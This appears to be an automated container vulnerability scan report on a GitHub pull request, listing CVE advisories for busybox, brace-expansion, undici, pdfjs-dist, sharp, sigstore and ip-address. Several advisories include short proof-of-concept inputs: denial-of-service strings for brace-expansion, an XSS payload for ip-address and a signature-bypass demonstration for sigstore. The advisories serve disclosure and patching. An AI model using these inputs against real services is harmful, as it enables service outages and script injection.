FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2023--39810

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.704%
EPSS Percentile50th percentile
Description

high : CVE--2026--26158

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.160%
EPSS Percentile6th percentile
Description

high : CVE--2026--26157

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.682%
EPSS Percentile49th percentile
Description
critical: 0 high: 3 medium: 0 low: 0 busybox 1.37.0-r57 (apk)

pkg:apk/wolfi/busybox@1.37.0-r57?arch=x86_64&distro=wolfi-20230201

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2023--39810

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.704%
EPSS Percentile50th percentile
Description

high : CVE--2026--26158

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.160%
EPSS Percentile6th percentile
Description

high : CVE--2026--26157

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.682%
EPSS Percentile49th percentile
Description
critical: 0 high: 3 medium: 0 low: 0 busybox 1.37.0-r57 (apk)

pkg:apk/wolfi/busybox@1.37.0-r57?arch=x86_64&origin=busybox

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2023--39810

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.704%
EPSS Percentile50th percentile
Description

high : CVE--2026--26158

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.160%
EPSS Percentile6th percentile
Description

high : CVE--2026--26157

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.682%
EPSS Percentile49th percentile
Description
critical: 0 high: 2 medium: 1 low: 0 brace-expansion 5.0.5 (npm)

pkg:npm/brace-expansion@5.0.5

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.7: CVE--2026--13149 Uncontrolled Resource Consumption

Affected range>=3.0.0
<5.0.7
Fixed version5.0.7
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/S:N/AU:Y/R:U/V:D/RE:M/U:Amber
EPSS Score0.348%
EPSS Percentile28th percentile
Description

Summary

brace-expansion's expand() exhibits exponential-time - O(2ⁿ) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node's single-threaded event loop, one small input can fully stall a worker/process.

In expand_, post is computed unconditionally at the top of the function, before the early-return branches that don't use it:

const post = m.post.length ? expand_(m.post, max, false) : [''];   // always recurses
  ...
if (!isSequence && !isOptions) {
  if (m.post.match(/,(?!,).*\}/)) {
    str = m.pre + '{' + m.body + escClose + m.post;
    return expand_(str, max, true); // restart — `post` discarded
  }
  return [str];
}

For input like a{},{},…, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but expand_ has already recursed into post over the entire remaining tail, only to throw the result away.
Each level therefore spawns two recursive expansions over essentially the same remaining work: T(n) = 2·T(n−1) ⇒ O(2ⁿ).

The max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it.

Measured on 5.0.6:

groups (n) input bytes time
20 60 130 ms
24 72 1.9 s
26 78 7.8 s
30 (PoC) 90 ~2 min

Proof of concept

const { expand } = require('brace-expansion');
// 30 non-expanding groups, ~90 bytes — blocks for minutes:
expand('a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}');

Impact

Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process.

Remediation

Upgrade to a patched release. The fix:

  1. Defers computing post until after the early-return branches (and computes it locally in the $-suffix branch), so post is only expanded when a brace set actually expands and the value is used. This alone removes the exponential.
  2. Converts the {a},b} rewrite from recursion to an in-function loop, so a long run of rewrites cannot grow the call stack.

Verified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n²) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker.

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.8
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile27th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 — OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

medium 6.5: CVE--2026--45149 Uncontrolled Resource Consumption

Affected range>=5.0.0
<5.0.6
Fixed version5.0.6
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.300%
EPSS Percentile22nd percentile
Description

The max option was being applied too late:

When expanding a single large numeric range like {1..10000000}, the sequence generation loop generates all 10 million intermediate elements before the max limit is applied With max=10, the output is correctly limited to 10 items, but the process still allocates ~505 MB and spends ~800ms building the full intermediate array.

Workaround

Ensure the string to be expanded doesn't contain more values than the desired max item count.

critical: 0 high: 1 medium: 1 low: 2 undici 6.25.0 (npm)

pkg:npm/undici@6.25.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.5: CVE--2026--12151 Uncontrolled Resource Consumption

Affected range<6.27.0
Fixed version6.27.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.789%
EPSS Percentile53rd percentile
Description

Impact

The undici WebSocket client enforces maxPayloadSize on the cumulative byte count of fragments in a message but does not enforce a limit on the number of fragments. A malicious WebSocket server can stream many small or empty continuation frames that each pass per-frame and cumulative-size validation, collectively causing unbounded memory growth in the client process. The result is memory exhaustion and a denial of service.

Affected applications are those using the undici WebSocket client (new WebSocket(...)) or the WebSocketStream API that can be induced to connect to an attacker-controlled or compromised WebSocket endpoint.

All releases starting at undici 6.17.0 are affected.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

No workaround is available. The fix must be applied through an upgrade.

medium 5.9: CVE--2026--9679 Improper Neutralization of CRLF Sequences ('CRLF Injection')

Affected range<6.27.0
Fixed version6.27.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.257%
EPSS Percentile17th percentile
Description

Impact

undici's cookie parser in parseSetCookie percent-decodes cookie values via qsUnescape, turning encoded sequences like %0D%0A, %00, %3B, and %3D into their literal byte equivalents. RFC 6265 §5.4 does not specify any decoding and browsers do not decode either.

Applications that parse a Set-Cookie header and then forward the parsed value into a response header (proxies, middleware, SSR frameworks) become vulnerable to HTTP response header injection: an attacker-controlled upstream can inject arbitrary Set-Cookie, Location, or Cache-Control headers into the application's downstream response, enabling session fixation, open redirect, or cache poisoning.

Affected applications are those that use undici's cookie parsing (parseSetCookie, parseCookie, getSetCookies) and forward the parsed cookie value into a response header.

This was introduced in undici 7.0.0 via #3789.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

If upgrade is not immediately possible, do not forward values returned by parseSetCookie/parseCookie/getSetCookies directly into response headers; sanitize the value first to strip or reject CR, LF, NUL, ;, and = bytes.

low 3.7: CVE--2026--6733 Time-of-check Time-of-use (TOCTOU) Race Condition

Affected range<6.27.0
Fixed version6.27.0
CVSS Score3.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.220%
EPSS Percentile13th percentile
Description

Impact

Undici's HTTP/1.1 client is vulnerable to response queue poisoning on reused keep-alive sockets. An attacker-controlled upstream server can inject an unsolicited HTTP/1.1 response onto an idle socket after a request completes. When the client dispatches the next request on that socket, it associates the injected response with the new request, causing responses to be delivered to the wrong requests.

This requires an attacker-controlled or compromised upstream HTTP/1.1 server and keep-alive connection reuse.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

Disable keep-alive connection reuse by setting keepAliveTimeout: 0 on the Client or Pool.

low 3.7: CVE--2026--11525 Permissive List of Allowed Inputs

Affected range<6.27.0
Fixed version6.27.0
CVSS Score3.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.238%
EPSS Percentile15th percentile
Description

Impact

When undici parses a Set-Cookie header, it accepts any SameSite attribute value that contains Strict, Lax, or None as a substring, rather than the case-insensitive exact match specified by RFC 6265. Non-spec values are silently mapped to one of the three standard tokens:

  • SameSite=NoneOfYourBusiness is parsed as None, the most permissive setting.
  • SameSite=StrictLax is parsed as Lax, a downgrade from Strict.

Affected applications are those that consume Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forward or rely on the parsed sameSite attribute. A malicious or non-compliant server can coerce the consumer's view of a cookie's SameSite policy to a weaker value, silently degrading the SameSite enforcement the cookie is supposed to provide.

This was introduced in undici 5.15.0 when the cookies feature was added.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

After parsing a Set-Cookie header, validate that the resulting sameSite attribute is one of 'Strict', 'Lax', or 'None' (exact, case-insensitive) before forwarding or relying on it.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 3.11.174 (npm)

pkg:npm/pdfjs-dist@3.11.174

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score72.648%
EPSS Percentile99th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 sharp 0.33.5 (npm)

pkg:npm/sharp@0.33.5

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.0: GHSA--f88m--g3jw--g9cj Dependency on Vulnerable Third-Party Component

Affected range<0.35.0
Fixed version0.35.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
Description

Impact

A number of vulnerabilities, two rated as "High" severity using CVSSv4, have been discovered and fixed in the upstream libvips dependency.

Those processing untrusted input with versions of sharp prior to 0.35.0 are affected.

Patches

Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest version, currently 0.35.3, which provides libvips 8.18.3.

Using a globally-installed libvips?

Please ensure you are using the latest libvips 8.18.3.

Workarounds

Add the following to your code to prevent sharp from decoding GIF, TIFF and VIPS images.

sharp.block({ operation: ["VipsForeignLoadNsgif", "VipsForeignLoadTiff", "VipsForeignLoadVips"] });
critical: 0 high: 1 medium: 0 low: 0 sigstore 4.1.0 (npm)

pkg:npm/sigstore@4.1.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.5: CVE--2026--48815 Improper Verification of Cryptographic Signature

Affected range<=4.1.0
Fixed version4.1.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.143%
EPSS Percentile4th percentile
Description

Summary

The documented certificateOIDs option in sigstore.verify() is accepted by the public API but discarded before verification, so required certificate extension OIDs are never checked.

Details

The public verify options include certificateOIDs and the documentation says those OID/value pairs “must be present in the certificate’s extension list.” The policy-construction path used by sigstore.verify() and createVerifier() only copies the SAN and issuer settings into the verification policy and completely ignores certificateOIDs.

As a result, callers can believe they are constraining verification to certificates carrying specific Fulcio or workload-identifying OIDs, while the actual verifier never receives those constraints. Any bundle that satisfies the remaining checks is accepted even if the required OID extensions are absent or mismatched.

This is reachable from supported usage through the documented certificateOIDs verify option.

PoC

const { createVerificationPolicy } = require("sigstore/dist/config");

const policy = createVerificationPolicy({
  certificateIssuer: "https://issuer.example",
  certificateIdentityEmail: "victim@<!-- -->example.com",
  certificateOIDs: {
    "1.2.3.4": "required-value",
  },
});

console.log("certificateOIDs" in policy, JSON.stringify(policy));
// false {"subjectAlternativeName":"victim@<!-- -->example.com","extensions":{"issuer":"https://issuer.example"}}

Impact

Applications that rely on certificateOIDs to restrict which certificates may sign artifacts receive no such protection. Unauthorized certificates that should be rejected on extension policy can be accepted as long as they satisfy the remaining verification checks.

critical: 0 high: 0 medium: 1 low: 0 @sigstore/core 3.2.0 (npm)

pkg:npm/%40sigstore/core@3.2.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

medium 5.4: CVE--2026--48758 Improper Verification of Cryptographic Signature

Affected range<=3.2.0
Fixed version3.2.1
CVSS Score5.4
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.196%
EPSS Percentile10th percentile
Description

Impact

The preAuthEncoding function in @<!-- -->sigstore/core uses Node.js 'ascii' encoding when converting the PAE (Pre-Authentication Encoding) string to bytes. This allows payloadType to be mutated after signing without invalidating the signature, breaking the type-binding guarantee that DSSE is designed to provide.

In packages/core/src/dsse.ts, the PAE function builds a string containing payloadType and then encodes it with Buffer.from(prefix, 'ascii').

In Node.js, 'ascii' encoding for string-to-Buffer is equivalent to 'latin1', which truncates characters above U+00FF to their low byte. This means for any ASCII character, there exist Unicode characters (at U+01xx, U+02xx, etc.) that produce the identical encoded byte:

Original Codepoint Mutant Codepoint Encoded byte
t U+0074 Ŵ U+0174 0x74
e U+0065 ť U+0165 0x65

An attacker can substitute every character in payloadType with a Unicode variant whose low byte matches, producing identical PAE bytes and a passing signature verification.

Additionally, payloadType.length returns the JavaScript string length (UTF-16 code units) rather than the UTF-8 byte length required by the DSSE spec, though this is only a contributing factor for non-ASCII types.

Reproduction

const { preAuthEncoding } = require('@<!-- -->sigstore/core/dist/dsse.js');
const payload = Buffer.from('hello world');

const original = preAuthEncoding('text/plain', payload);
// U+01xx chars whose low bytes match the original ASCII chars
const mutant = preAuthEncoding('\u0174\u0165\u0178\u0174/\u0170\u016c\u0161\u0169\u016e', payload);

console.log('PAE bytes equal:', original.equals(mutant)); // true — should be false
critical: 0 high: 0 medium: 1 low: 0 ip-address 10.1.0 (npm)

pkg:npm/ip-address@10.1.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

medium 5.3: CVE--2026--42338 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected range<=10.1.0
Fixed version10.1.1
CVSS Score5.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.471%
EPSS Percentile38th percentile
Description

Summary

Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. A related issue in v6.helpers.spanAll() produced malformed markup but was not exploitable; it is hardened in the same release for consistency.

Details

Four related issues were identified and fixed together:

  1. Address6.group(): zone ID injection. The Address6 constructor stores the raw input (including any IPv6 zone ID) in this.address before zone stripping. group() then passed this.address to helpers.simpleGroup(), which wrapped each :-separated segment in a <span> element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim.
  2. Address6.link({ prefix, className }): attribute-value injection. link() concatenated user-supplied prefix and className into the href="…" and class="…" attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. onmouseover) and achieve XSS.
  3. Address6 constructor: leading-zero IPv4 error path. The leading-zero branch in parse4in6() built AddressError.parseMessage by concatenating the raw address through String.replace(). Because parse4in6() runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who render parseMessage as HTML (its documented purpose — it already contains <span class="parse-error"> markup) could be XSS'd by a crafted input such as <img src=x onerror=alert(1)>:10.0.01.1.
  4. v6.helpers.spanAll(): attribute-value injection (defense in depth). spanAll() embedded each character of its input into a class="digit value-${n} …" attribute without escaping. Because split('') limits n to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.

Affected Versions

All versions up to and including 10.1.0.

Patched Version

10.1.1.

Impact

Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of group(), link(), or spanAll(): these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (isValid, correctForm, isInSubnet, bigInt, etc.) are not affected.

Consumers who do render the output of group(), link(), spanAll(), or AddressError.parseMessage as HTML against untrusted input should upgrade.

PoC

const { Address6 } = require('ip-address');
const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>');
document.body.innerHTML = addr.group();  // fires the onerror handler in 10.1.0

Workarounds

If users cannot upgrade immediately:

  • Do not pass untrusted input to the Address6 constructor, or
  • Never render the output of group(), link(), or spanAll(), nor the parseMessage field of any thrown AddressError, as HTML; treat these values as text only, or run them through DOMPurify before inserting into the DOM (DOMPurify's default configuration preserves the library's intended <span> wrapping while stripping any injected event handlers), or
  • Validate input with Address6.isValid() and reject anything that contains a zone identifier (a % character) or characters outside [0-9a-fA-F:/] before passing it to the constructor.

Lack of separate CVEs

Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.

Credit

ip-address thanks @scovetta for reporting this issue.

critical: 0 high: 0 medium: 1 low: 0 @sigstore/verify 3.1.0 (npm)

pkg:npm/%40sigstore/verify@3.1.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

medium 6.5: CVE--2026--48816 Insufficient Verification of Data Authenticity

Affected range=3.1.0
Fixed version3.1.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.124%
EPSS Percentile3rd percentile
Description

sigstore-js derives a transparency-log timestamp from tlogEntries[].integratedTime and uses it to validate certificate validity windows and satisfy timestampThreshold. For bundle v0.2, a tlog entry can be inclusionProof-only (no signed inclusionPromise/set), and the inclusion proof path does not cryptographically bind integratedTime. As a result, an attacker who can supply an untrusted bundle can influence time-based verification decisions by choosing integratedTime.

impact

If a consumer accepts attacker-provided bundle v0.2 inputs and relies on tlog-derived timestamps for certificate validity checks, verification can be influenced by an unauthenticated timestamp value. This is a trust gap: integratedTime is treated as a trusted observer timestamp under inclusionProof-only mode even though only the signed inclusionPromise/set path binds it.

affected code

  • packages/verify/src/bundle/index.ts (adds a transparency-log timestamp whenever integratedTime != 0)
  • packages/verify/src/timestamp/index.ts (converts integratedTime to a Date)
  • packages/verify/src/verifier.ts (verifies timestamps before verifying tlog inclusion)
  • packages/verify/src/tlog/index.ts + packages/verify/src/tlog/set.ts (only the inclusionPromise/set path binds integratedTime)

proof of concept

The attached poc.zip contains a self-contained harness that reproduces the behavior on the pinned commit and includes both a canonical test and a negative control.

repro:

  1. extract poc.zip into a fresh directory and run the make targets:
unzip poc.zip -d poc
cd poc/poc-F-SIG-JS-TLOGTIME-001
make canonical
make control
  1. confirm canonical.log includes:
[CALLSITE_HIT]:
[PROOF_MARKER]:
  1. confirm control.log includes:
[NC_MARKER]:

suggested fix

Only treat integratedTime as a trusted timestamp when it is cryptographically bound (for example, via a verified signed inclusionPromise/set). For inclusionProof-only entries, do not count integratedTime toward timestampThreshold, and do not use it for certificate validity decisions unless there is another signed time source (for example, an rfc3161 timestamp).

poc.zip
PR_DESCRIPTION.md
SUBMISSION.md

critical: 0 high: 0 medium: 0 low: 0 unspecified: 22node 24.16.0 (generic)

pkg:generic/node@24.16.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

unspecified : BSA--2026--58045

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58044

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58043

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58042

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58041

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58040

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58039

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--56850

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--56848

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--56847

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--56846

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--48937

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48935

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48934

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48933

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48931

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48930

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48928

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48619

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48618

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48617

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48615

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

@mergify
mergify Bot temporarily deployed to docker_image August 3, 2026 14:12 Inactive
@mergify
mergify Bot had a problem deploying to container_health August 3, 2026 14:13 Failure
@mergify
mergify Bot had a problem deploying to container_health August 3, 2026 14:13 Failure
@mergify
mergify Bot temporarily deployed to docker_image August 3, 2026 14:14 Inactive
@mergify mergify Bot closed this Aug 3, 2026
@mergify
mergify Bot deleted the mergify/merge-queue/f955cf98a6 branch August 3, 2026 14:22

This branch had an error being deployed

2 failed and 1 inactive deployments
docker_image — 04db49d9 Deployed Aug 3, 2026 by mergify[bot] via Test Image / Cleaning GHCR #11470
code_quality — 04db49d9 Deployed Aug 3, 2026 by mergify[bot] via Lint / MarkdownLint #11470
container_health — 04db49d9 Deployed Aug 3, 2026 by mergify[bot] via Test Image / Grype #11470
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant